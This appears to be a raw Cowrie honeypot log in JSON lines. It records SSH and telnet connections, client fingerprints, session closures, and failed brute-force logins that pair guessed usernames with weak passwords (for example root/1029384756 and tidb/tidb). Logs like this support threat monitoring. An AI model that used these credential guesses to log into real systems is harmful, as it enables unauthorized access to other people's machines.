{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:23.405179Z","src_ip":"176.65.132.254","session":"4f0b9763cc4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.95803618431091,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:23.609287Z","src_ip":"62.210.97.77","session":"4f6fb1cf49dd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:23.657369Z","src_ip":"176.65.132.254","session":"4f0b9763cc4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.96841907501221,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:24.096421Z","src_ip":"62.210.97.77","session":"9fda18d68974","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:24.769948Z","src_ip":"176.65.132.254","session":"4f0b9763cc4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.99958038330078,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:24.917624Z","src_ip":"38.54.119.93","session":"304475af86f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48942,"dst_ip":"10.17.0.5","dst_port":23,"session":"2713339fa1f1","protocol":"telnet","message":"New connection: 62.210.97.77:48942 (10.17.0.5:23) [session: 2713339fa1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:25.048393Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48952,"dst_ip":"10.17.0.5","dst_port":23,"session":"65cb5abcc67e","protocol":"telnet","message":"New connection: 62.210.97.77:48952 (10.17.0.5:23) [session: 65cb5abcc67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:25.923038Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44758,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b67cb0d627f","protocol":"telnet","message":"New connection: 65.60.27.33:44758 (10.17.0.5:23) [session: 1b67cb0d627f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:26.577813Z"}
{"eventid":"cowrie.session.closed","duration":52.04149341583252,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:26.903456Z","src_ip":"38.54.119.93","session":"595f29f249c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":33128,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5036ad4f523","protocol":"ssh","message":"New connection: 152.32.189.59:33128 (159.203.135.109:22) [session: c5036ad4f523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:27.105901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:27.119357Z","src_ip":"152.32.189.59","session":"c5036ad4f523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:27.404939Z","src_ip":"152.32.189.59","session":"c5036ad4f523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44214,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e40f0f17514","protocol":"ssh","message":"New connection: 176.65.132.254:44214 (10.17.0.5:22) [session: 6e40f0f17514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:27.440443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:27.444738Z","src_ip":"176.65.132.254","session":"6e40f0f17514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:27.526023Z","src_ip":"176.65.132.254","session":"6e40f0f17514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.999664545059204,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:27.715535Z","src_ip":"65.60.27.33","session":"ec734ee45015","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:27.768903Z","src_ip":"176.65.132.254","session":"6e40f0f17514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48960,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c8b323b8282","protocol":"telnet","message":"New connection: 62.210.97.77:48960 (10.17.0.5:23) [session: 3c8b323b8282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:28.169425Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwert12345","message":"login attempt [test/qwert12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:28.280959Z","src_ip":"152.32.189.59","session":"c5036ad4f523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45396,"dst_ip":"10.17.0.5","dst_port":23,"session":"a239eda0597d","protocol":"telnet","message":"New connection: 62.210.97.77:45396 (10.17.0.5:23) [session: a239eda0597d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:28.580731Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:28.854768Z","src_ip":"176.65.132.254","session":"6e40f0f17514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.30139470100403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:29.080596Z","src_ip":"62.210.97.77","session":"f8037c6bc91b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:29.511286Z","src_ip":"152.32.189.59","session":"c5036ad4f523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45408,"dst_ip":"10.17.0.5","dst_port":23,"session":"042279fb33d6","protocol":"telnet","message":"New connection: 62.210.97.77:45408 (10.17.0.5:23) [session: 042279fb33d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:29.525732Z"}
{"eventid":"cowrie.session.closed","duration":34.91471815109253,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:30.426606Z","src_ip":"62.210.97.77","session":"030b8c0447a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.61012578010559,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:30.434707Z","src_ip":"62.210.97.77","session":"c0f3b19870cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49802,"dst_ip":"10.17.0.5","dst_port":23,"session":"f93651727ffb","protocol":"telnet","message":"New connection: 65.60.27.33:49802 (10.17.0.5:23) [session: f93651727ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:31.291474Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44224,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef14488c22db","protocol":"ssh","message":"New connection: 176.65.132.254:44224 (10.17.0.5:22) [session: ef14488c22db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:31.315510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:31.319451Z","src_ip":"176.65.132.254","session":"ef14488c22db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:31.400651Z","src_ip":"176.65.132.254","session":"ef14488c22db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:31.650344Z","src_ip":"176.65.132.254","session":"ef14488c22db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:32.742239Z","src_ip":"176.65.132.254","session":"ef14488c22db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":40626,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b75c262bf5c","protocol":"telnet","message":"New connection: 134.209.8.29:40626 (159.203.135.109:23) [session: 8b75c262bf5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:32.800674Z"}
{"eventid":"cowrie.session.closed","duration":41.09001660346985,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:33.366157Z","src_ip":"38.54.119.93","session":"36beb32b9e67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.466124296188354,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:33.862819Z","src_ip":"62.210.97.77","session":"65c22d27a7aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46282768249512,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:34.384531Z","src_ip":"62.210.97.77","session":"3e03d782fc47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7668757438659668,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:34.567429Z","src_ip":"134.209.8.29","session":"8b75c262bf5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":1421,"dst_ip":"10.17.0.5","dst_port":22,"session":"841773d325d8","protocol":"ssh","message":"New connection: 190.129.122.12:1421 (10.17.0.5:22) [session: 841773d325d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:34.663972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:34.669046Z","src_ip":"190.129.122.12","session":"841773d325d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:34.846084Z","src_ip":"190.129.122.12","session":"841773d325d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54562,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a18b8edda9d","protocol":"ssh","message":"New connection: 176.65.132.254:54562 (10.17.0.5:22) [session: 5a18b8edda9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:35.336048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:35.339880Z","src_ip":"176.65.132.254","session":"5a18b8edda9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:35.438843Z","src_ip":"176.65.132.254","session":"5a18b8edda9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.586533308029175,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:35.512133Z","src_ip":"65.60.27.33","session":"20380b148aef","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin102030","message":"login attempt [root/admin102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:35.586934Z","src_ip":"190.129.122.12","session":"841773d325d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45416,"dst_ip":"10.17.0.5","dst_port":23,"session":"d498017ea3c3","protocol":"telnet","message":"New connection: 62.210.97.77:45416 (10.17.0.5:23) [session: d498017ea3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:35.625094Z"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:35.744344Z","src_ip":"176.65.132.254","session":"5a18b8edda9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45428,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c798435f5ef","protocol":"telnet","message":"New connection: 62.210.97.77:45428 (10.17.0.5:23) [session: 2c798435f5ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:36.240781Z"}
{"eventid":"cowrie.session.closed","duration":47.61227250099182,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:36.410641Z","src_ip":"65.60.27.33","session":"97447fd23197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.52135682106018,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:36.541862Z","src_ip":"62.210.97.77","session":"ed7f762655e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55286,"dst_ip":"10.17.0.5","dst_port":23,"session":"a85e8e3dff4b","protocol":"telnet","message":"New connection: 65.60.27.33:55286 (10.17.0.5:23) [session: a85e8e3dff4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:36.691276Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:36.766467Z","src_ip":"190.129.122.12","session":"841773d325d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:07:36.971383Z","src_ip":"176.65.132.254","session":"5a18b8edda9d","protocol":"ssh"}
